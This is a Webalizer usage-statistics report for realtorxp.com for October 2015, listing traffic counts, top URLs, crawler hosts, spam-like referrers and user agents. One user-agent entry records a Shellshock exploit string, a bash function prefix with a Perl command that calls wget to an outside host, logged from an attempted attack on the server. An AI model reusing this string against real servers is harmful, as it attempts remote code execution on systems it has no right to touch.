Usage Statistics for realtorxp.com

Summary Period: October 2015
Generated 01-Nov-2015 03:17 EST

[Daily Statistics] [Hourly Statistics] [URLs] [Entry] [Exit] [Sites] [Referrers] [Search] [Agents] [Countries]

Monthly Statistics for October 2015
Total Hits 6442
Total Files 5138
Total Pages 4668
Total Visits 2727
Total KBytes 61681
Total Unique Sites 595
Total Unique URLs 222
Total Unique Referrers 109
Total Unique User Agents 168
. Avg Max
Hits per Hour 8 308
Hits per Day 207 586
Files per Day 165 388
Pages per Day 150 368
Sites per Day 19 108
Visits per Day 87 122
KBytes per Day 1990 7616
Hits by Response Code
Code 200 - OK 79.76% 5138
Code 302 - Found 0.54% 35
Code 304 - Not Modified 0.25% 16
Code 400 - Bad Request 0.45% 29
Code 403 - Forbidden 0.25% 16
Code 404 - Not Found 18.39% 1185
Code 405 - Method Not Allowed 0.05% 3
Code 500 - Internal Server Error 0.31% 20

Daily usage for October 2015

Daily Statistics for October 2015
Day Hits Files Pages Visits Sites KBytes
1 243 3.77% 220 4.28% 227 4.86% 108 3.96% 95 15.97% 1847 2.99%
2 157 2.44% 142 2.76% 138 2.96% 122 4.47% 108 18.15% 176 0.29%
3 586 9.10% 269 5.24% 368 7.88% 109 4.00% 94 15.80% 1392 2.26%
4 146 2.27% 130 2.53% 130 2.78% 117 4.29% 100 16.81% 861 1.40%
5 131 2.03% 116 2.26% 118 2.53% 114 4.18% 93 15.63% 52 0.09%
6 271 4.21% 247 4.81% 215 4.61% 103 3.78% 92 15.46% 908 1.47%
7 90 1.40% 71 1.38% 71 1.52% 63 2.31% 54 9.08% 338 0.55%
8 91 1.41% 69 1.34% 69 1.48% 65 2.38% 60 10.08% 167 0.27%
9 338 5.25% 308 5.99% 316 6.77% 68 2.49% 56 9.41% 3101 5.03%
10 147 2.28% 92 1.79% 93 1.99% 81 2.97% 63 10.59% 240 0.39%
11 93 1.44% 73 1.42% 72 1.54% 59 2.16% 51 8.57% 442 0.72%
12 133 2.06% 101 1.97% 90 1.93% 73 2.68% 55 9.24% 744 1.21%
13 110 1.71% 81 1.58% 80 1.71% 72 2.64% 55 9.24% 525 0.85%
14 269 4.18% 222 4.32% 206 4.41% 85 3.12% 51 8.57% 3223 5.22%
15 288 4.47% 229 4.46% 163 3.49% 91 3.34% 68 11.43% 7616 12.35%
16 435 6.75% 388 7.55% 337 7.22% 93 3.41% 63 10.59% 3437 5.57%
17 225 3.49% 192 3.74% 122 2.61% 102 3.74% 77 12.94% 2789 4.52%
18 189 2.93% 138 2.69% 139 2.98% 91 3.34% 57 9.58% 1561 2.53%
19 228 3.54% 189 3.68% 164 3.51% 86 3.15% 58 9.75% 2413 3.91%
20 215 3.34% 186 3.62% 122 2.61% 99 3.63% 63 10.59% 7202 11.68%
21 435 6.75% 370 7.20% 296 6.34% 100 3.67% 66 11.09% 5101 8.27%
22 204 3.17% 163 3.17% 105 2.25% 90 3.30% 64 10.76% 4136 6.70%
23 242 3.76% 189 3.68% 130 2.78% 100 3.67% 72 12.10% 1857 3.01%
24 153 2.38% 119 2.32% 104 2.23% 87 3.19% 62 10.42% 1551 2.52%
25 162 2.51% 123 2.39% 125 2.68% 76 2.79% 57 9.58% 1650 2.67%
26 106 1.65% 86 1.67% 77 1.65% 71 2.60% 55 9.24% 1090 1.77%
27 203 3.15% 180 3.50% 145 3.11% 68 2.49% 60 10.08% 2574 4.17%
28 191 2.96% 146 2.84% 156 3.34% 87 3.19% 75 12.61% 1435 2.33%
29 109 1.69% 92 1.79% 88 1.89% 80 2.93% 66 11.09% 1522 2.47%
30 120 1.86% 92 1.79% 98 2.10% 85 3.12% 61 10.25% 984 1.59%
31 132 2.05% 115 2.24% 104 2.23% 82 3.01% 66 11.09% 749 1.21%

Hourly usage for October 2015

Hourly Statistics for October 2015
Hour Hits Files Pages KBytes
Avg Total Avg Total Avg Total Avg Total
0 6 195 3.03% 4 153 2.98% 4 129 2.76% 40 1236 2.00%
1 11 355 5.51% 9 296 5.76% 6 198 4.24% 78 2411 3.91%
2 6 194 3.01% 5 174 3.39% 4 146 3.13% 74 2304 3.74%
3 6 207 3.21% 5 167 3.25% 4 147 3.15% 105 3246 5.26%
4 5 175 2.72% 4 149 2.90% 4 128 2.74% 36 1108 1.80%
5 8 263 4.08% 7 237 4.61% 6 212 4.54% 29 909 1.47%
6 12 391 6.07% 11 355 6.91% 9 299 6.41% 152 4727 7.66%
7 5 170 2.64% 4 133 2.59% 3 101 2.16% 41 1276 2.07%
8 10 314 4.87% 8 261 5.08% 7 242 5.18% 252 7821 12.68%
9 6 214 3.32% 4 142 2.76% 4 129 2.76% 66 2033 3.30%
10 8 262 4.07% 7 217 4.22% 6 200 4.28% 56 1750 2.84%
11 13 408 6.33% 11 366 7.12% 10 335 7.18% 100 3113 5.05%
12 9 299 4.64% 8 255 4.96% 7 241 5.16% 84 2614 4.24%
13 4 134 2.08% 3 100 1.95% 2 83 1.78% 42 1309 2.12%
14 6 204 3.17% 5 160 3.11% 5 158 3.38% 43 1320 2.14%
15 6 198 3.07% 4 151 2.94% 4 130 2.78% 100 3106 5.04%
16 7 221 3.43% 5 175 3.41% 5 168 3.60% 123 3811 6.18%
17 7 226 3.51% 5 181 3.52% 5 165 3.53% 37 1140 1.85%
18 9 292 4.53% 7 247 4.81% 7 223 4.78% 93 2896 4.69%
19 11 367 5.70% 10 313 6.09% 9 288 6.17% 160 4951 8.03%
20 24 757 11.75% 13 403 7.84% 16 510 10.93% 161 5004 8.11%
21 7 240 3.73% 6 201 3.91% 5 180 3.86% 32 994 1.61%
22 5 166 2.58% 4 140 2.72% 3 122 2.61% 28 861 1.40%
23 6 190 2.95% 5 162 3.15% 4 134 2.87% 56 1744 2.83%

Top 30 of 222 Total URLs
# Hits KBytes URL
1 2290 35.55% 2719 4.41% /
2 177 2.75% 1730 2.81% /webalizer/
3 123 1.91% 176 0.29% /modules/html/
4 119 1.85% 1431 2.32% /images/
5 118 1.83% 507 0.82% /propertyImages/
6 115 1.79% 108 0.18% /js/
7 105 1.63% 72 0.12% /modules/
8 105 1.63% 148 0.24% /modules/app/
9 102 1.58% 85 0.14% /includes/
10 102 1.58% 72 0.12% /template/
11 101 1.57% 72 0.12% /images/icons/
12 99 1.54% 57 0.09% /css/
13 92 1.43% 66 0.11% /Scripts/
14 88 1.37% 62 0.10% /config/
15 86 1.33% 62 0.10% /functions/
16 43 0.67% 20 0.03% /DBmove/
17 42 0.65% 45 0.07% /lightbox/js/
18 19 0.29% 236 0.38% /index2.php
19 18 0.28% 2092 3.39% /webalizer/usage_201406.html
20 17 0.26% 26 0.04% /control/
21 17 0.26% 0 0.00% /functions/categoryFunctions.php
22 17 0.26% 0 0.00% /functions/imgFunctions.php
23 17 0.26% 1824 2.96% /webalizer/usage_201405.html
24 16 0.25% 1 0.00% /includes/innerTop.php
25 16 0.25% 1528 2.48% /webalizer/usage_201307.html
26 16 0.25% 1676 2.72% /webalizer/usage_201404.html
27 15 0.23% 45 0.07% /lightbox/
28 15 0.23% 0 0.00% /modules/app/selling.php
29 15 0.23% 17 0.03% /template/footer.php
30 14 0.22% 0 0.00% /includes/class.phpmailer.php

Top 10 of 222 Total URLs By KBytes
# Hits KBytes URL
1 2290 35.55% 2719 4.41% /
2 18 0.28% 2092 3.39% /webalizer/usage_201406.html
3 4 0.06% 1982 3.21% /propertyImages/1_p1_front.jpeg
4 4 0.06% 1901 3.08% /propertyImages/1_p3_view_from_front_door.jpeg
5 4 0.06% 1889 3.06% /propertyImages/1_p4_formal_living_JPG.jpeg
6 4 0.06% 1828 2.96% /propertyImages/1_p6_family_room_JPG.jpeg
7 17 0.26% 1824 2.96% /webalizer/usage_201405.html
8 4 0.06% 1803 2.92% /propertyImages/1_p5_kitchen_JPG.jpeg
9 177 2.75% 1730 2.81% /webalizer/
10 16 0.25% 1676 2.72% /webalizer/usage_201404.html

Top 10 of 47 Total Entry Pages
# Hits Visits URL
1 2290 35.55% 2130 79.36% /
2 177 2.75% 90 3.35% /webalizer/
3 118 1.83% 37 1.38% /propertyImages/
4 123 1.91% 34 1.27% /modules/html/
5 92 1.43% 32 1.19% /Scripts/
6 119 1.85% 27 1.01% /images/
7 115 1.79% 26 0.97% /js/
8 99 1.54% 24 0.89% /css/
9 102 1.58% 24 0.89% /template/
10 86 1.33% 21 0.78% /functions/

Top 10 of 48 Total Exit Pages
# Hits Visits URL
1 2290 35.55% 2109 78.64% /
2 177 2.75% 90 3.36% /webalizer/
3 102 1.58% 42 1.57% /template/
4 123 1.91% 40 1.49% /modules/html/
5 118 1.83% 34 1.27% /propertyImages/
6 119 1.85% 29 1.08% /images/
7 115 1.79% 26 0.97% /js/
8 105 1.63% 21 0.78% /modules/app/
9 86 1.33% 20 0.75% /functions/
10 99 1.54% 19 0.71% /css/

Top 30 of 595 Total Sites
# Hits Files KBytes Visits Hostname
1 301 4.67% 9 0.18% 143 0.23% 1 0.04% 183.60.243.187
2 280 4.35% 152 2.96% 2734 4.43% 94 3.45% 208.115.113.82
3 277 4.30% 245 4.77% 2155 3.49% 3 0.11% 195-154-157-47.rev.poneytelecom.eu
4 241 3.74% 127 2.47% 1832 2.97% 81 2.97% 208.115.113.92
5 214 3.32% 192 3.74% 3514 5.70% 2 0.07% static.130.98.9.5.clients.your-server.de
6 189 2.93% 170 3.31% 968 1.57% 2 0.07% mj8.naefmarco.ch
7 179 2.78% 177 3.44% 1375 2.23% 1 0.04% host86-132-215-49.range86-132.btcentralplus.com
8 158 2.45% 152 2.96% 4336 7.03% 45 1.65% boson006.ahrefs.com
9 143 2.22% 141 2.74% 1447 2.35% 1 0.04% 107.170.68.76
10 137 2.13% 121 2.36% 2506 4.06% 7 0.26% 62-210-148-233.rev.poneytelecom.eu
11 127 1.97% 127 2.47% 0 0.00% 66 2.42% us1.internetseer.com
12 113 1.75% 102 1.99% 1630 2.64% 1 0.04% depictionorganizers.com
13 109 1.69% 101 1.97% 1884 3.05% 3 0.11% static.215.5.243.136.clients.your-server.de
14 93 1.44% 87 1.69% 3089 5.01% 35 1.28% boson067.ahrefs.com
15 89 1.38% 75 1.46% 2198 3.56% 14 0.51% crawl-66-249-75-36.googlebot.com
16 80 1.24% 80 1.56% 782 1.27% 16 0.59% 31.184.238.11
17 80 1.24% 67 1.30% 2818 4.57% 16 0.59% crawl-66-249-75-20.googlebot.com
18 78 1.21% 63 1.23% 2341 3.79% 20 0.73% crawl-66-249-75-28.googlebot.com
19 77 1.20% 43 0.84% 635 1.03% 20 0.73% spider-100-43-85-13.yandex.com
20 63 0.98% 58 1.13% 1850 3.00% 4 0.15% crawl-66-249-75-57.googlebot.com
21 62 0.96% 55 1.07% 1843 2.99% 5 0.18% crawl-66-249-75-41.googlebot.com
22 57 0.88% 49 0.95% 221 0.36% 3 0.11% 69.197.177.26
23 55 0.85% 46 0.90% 1621 2.63% 6 0.22% crawl-66-249-75-49.googlebot.com
24 51 0.79% 45 0.88% 144 0.23% 1 0.04% 64.79.100.38.rdns.continuumdatacenters.com
25 40 0.62% 0 0.00% 19 0.03% 1 0.04% 208.51.62.51
26 40 0.62% 22 0.43% 68 0.11% 15 0.55% spider-141-8-143-216.yandex.com
27 38 0.59% 35 0.68% 446 0.72% 1 0.04% 63-254-47-212.rev.cloud.scaleway.com
28 34 0.53% 33 0.64% 177 0.29% 32 1.17% baiduspider-180-76-15-156.crawl.baidu.com
29 34 0.53% 32 0.62% 64 0.10% 30 1.10% baiduspider-180-76-15-159.crawl.baidu.com
30 34 0.53% 33 0.64% 52 0.08% 33 1.21% baiduspider-180-76-15-7.crawl.baidu.com

Top 10 of 595 Total Sites By KBytes
# Hits Files KBytes Visits Hostname
1 158 2.45% 152 2.96% 4336 7.03% 45 1.65% boson006.ahrefs.com
2 214 3.32% 192 3.74% 3514 5.70% 2 0.07% static.130.98.9.5.clients.your-server.de
3 93 1.44% 87 1.69% 3089 5.01% 35 1.28% boson067.ahrefs.com
4 80 1.24% 67 1.30% 2818 4.57% 16 0.59% crawl-66-249-75-20.googlebot.com
5 280 4.35% 152 2.96% 2734 4.43% 94 3.45% 208.115.113.82
6 137 2.13% 121 2.36% 2506 4.06% 7 0.26% 62-210-148-233.rev.poneytelecom.eu
7 78 1.21% 63 1.23% 2341 3.79% 20 0.73% crawl-66-249-75-28.googlebot.com
8 89 1.38% 75 1.46% 2198 3.56% 14 0.51% crawl-66-249-75-36.googlebot.com
9 277 4.30% 245 4.77% 2155 3.49% 3 0.11% 195-154-157-47.rev.poneytelecom.eu
10 20 0.31% 15 0.29% 1960 3.18% 5 0.18% crawl-66-249-67-148.googlebot.com

Top 30 of 109 Total Referrers
# Hits Referrer
1 6153 95.51% - (Direct Request)
2 10 0.16% http://masiadencabanyes.cat/treatment-of-psoriasis/
3 8 0.12% http://butiksp.ru
4 5 0.08% http://completehydraulics.com/plant-based-diets-for-psoriasis/
5 5 0.08% http://completehydraulics.com/psoriasis-treatment/
6 5 0.08% http://congnghesodbc.com/best-diet-psoriasis/
7 5 0.08% http://localhardwoodfloorslosangeles.com/treat-symptoms-home/
8 5 0.08% http://masiadencabanyes.cat/about-psoriasis/
9 5 0.08% http://masiadencabanyes.cat/scalp-psoriasis/
10 5 0.08% http://masiadencabanyes.cat/treat-symptoms-home/
11 5 0.08% http://nisantasibetul.com/scalp-psoriasis/
12 5 0.08% http://redi.it/psoriasis/
13 5 0.08% http://www.sferazero.com/plant-based-diets-for-psoriasis/
14 5 0.08% http://www.sferazero.com/psoriasis-scalp/
15 5 0.08% http://www.sferazero.com/psoriasis/
16 5 0.08% http://www.sferazero.com/psoriasis_diet/
17 5 0.08% http://www.sferazero.com/treat-symptoms-home/
18 4 0.06% http://harfordpi.com/
19 4 0.06% http://sp-mix.ru
20 3 0.05% http://j1.lip-pump.ru/lip-plumper-kupit.html
21 3 0.05% http://lip-pump.ru
22 3 0.05% http://pazdrav.com/45-po-imenam.html
23 3 0.05% http://pazdrav.com/50-po-imenam.html
24 3 0.05% http://pazdrav.com/pozdravleniya-po-imenam.html
25 3 0.05% http://pazdrav.com/rozigryshi-po-imenam.html
26 2 0.03% http://e-tb.kiev.ua
27 2 0.03% http://hvd-store.com/
28 2 0.03% http://mistral.cc/
29 2 0.03% http://okna-fabrika.ru/plastikovie-okna
30 2 0.03% http://pazdrav.com/s_dobrim_utrom.html

Top 15 of 168 Total User Agents
# Hits User Agent
1 1557 24.17% Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)
2 1436 22.29% Mozilla/5.0 (compatible; MJ12bot/v1.4.5; http://www.majestic12.co.uk/bot.php?+)
3 535 8.30% Mozilla/5.0 (compatible; DotBot/1.1; http://www.opensiteexplorer.org/dotbot, help@moz.com)
4 353 5.48% Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
5 342 5.31% Googlebot-Image/1.0
6 301 4.67% Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
7 286 4.44% Mozilla/5.0 (Windows NT 5.1; rv:6.0.2) Gecko/20100101 Firefox/6.0.2
8 265 4.11% Mozilla/5.0 (compatible; AhrefsBot/5.0; +http://ahrefs.com/robot/)
9 214 3.32% Mozilla/5.0 (compatible; MegaIndex.ru/2.0; +http://megaindex.com/crawler)
10 133 2.06% Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)
11 127 1.97% InternetSeer.com
12 70 1.09% Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)
13 62 0.96% Mozilla/5.0 (Windows NT 5.1; rv:32.0) Gecko/20100101 Firefox/31.0
14 50 0.78% () { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget -O /dev/null http://www.test
15 45 0.70% Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)

Usage by Country for October 2015

Top 30 of 32 Total Countries
# Hits Files KBytes Country
1 3679 57.11% 3348 65.16% 38785 62.88% Commercial (com)
2 1407 21.84% 748 14.56% 8290 13.44% Unresolved/Unknown
3 460 7.14% 393 7.65% 5445 8.83% European Union
4 408 6.33% 357 6.95% 7049 11.43% Germany
5 213 3.31% 188 3.66% 994 1.61% Switzerland
6 63 0.98% 1 0.02% 32 0.05% Poland
7 53 0.82% 42 0.82% 173 0.28% Network (net)
8 23 0.36% 1 0.02% 12 0.02% Indonesia
9 18 0.28% 10 0.19% 14 0.02% Educational (edu)
10 14 0.22% 6 0.12% 15 0.02% Russian Federation
11 13 0.20% 2 0.04% 17 0.03% Korea, Republic of
12 12 0.19% 6 0.12% 14 0.02% British Indian Ocean Territory
13 12 0.19% 1 0.02% 8 0.01% Japan
14 11 0.17% 1 0.02% 7 0.01% Turkey
15 9 0.14% 6 0.12% 424 0.69% Belgium
16 8 0.12% 4 0.08% 2 0.00% Austria
17 8 0.12% 7 0.14% 344 0.56% Ukraine
18 5 0.08% 4 0.08% 1 0.00% Generic TLD (info)
19 4 0.06% 0 0.00% 2 0.00% Brazil
20 4 0.06% 2 0.04% 3 0.01% Seychelles
21 2 0.03% 2 0.04% 0 0.00% Non-Profit (org)
22 2 0.03% 2 0.04% 12 0.02% China
23 2 0.03% 1 0.02% 3 0.00% Czech Republic
24 2 0.03% 0 0.00% 0 0.00% France
25 2 0.03% 2 0.04% 10 0.02% Mexico
26 2 0.03% 1 0.02% 1 0.00% United Kingdom
27 1 0.02% 1 0.02% 2 0.00% Address Routing (arpa)
28 1 0.02% 1 0.02% 10 0.02% Colombia
29 1 0.02% 0 0.00% 0 0.00% Spain
30 1 0.02% 1 0.02% 10 0.02% Iran


Generated by Webalizer Version 2.20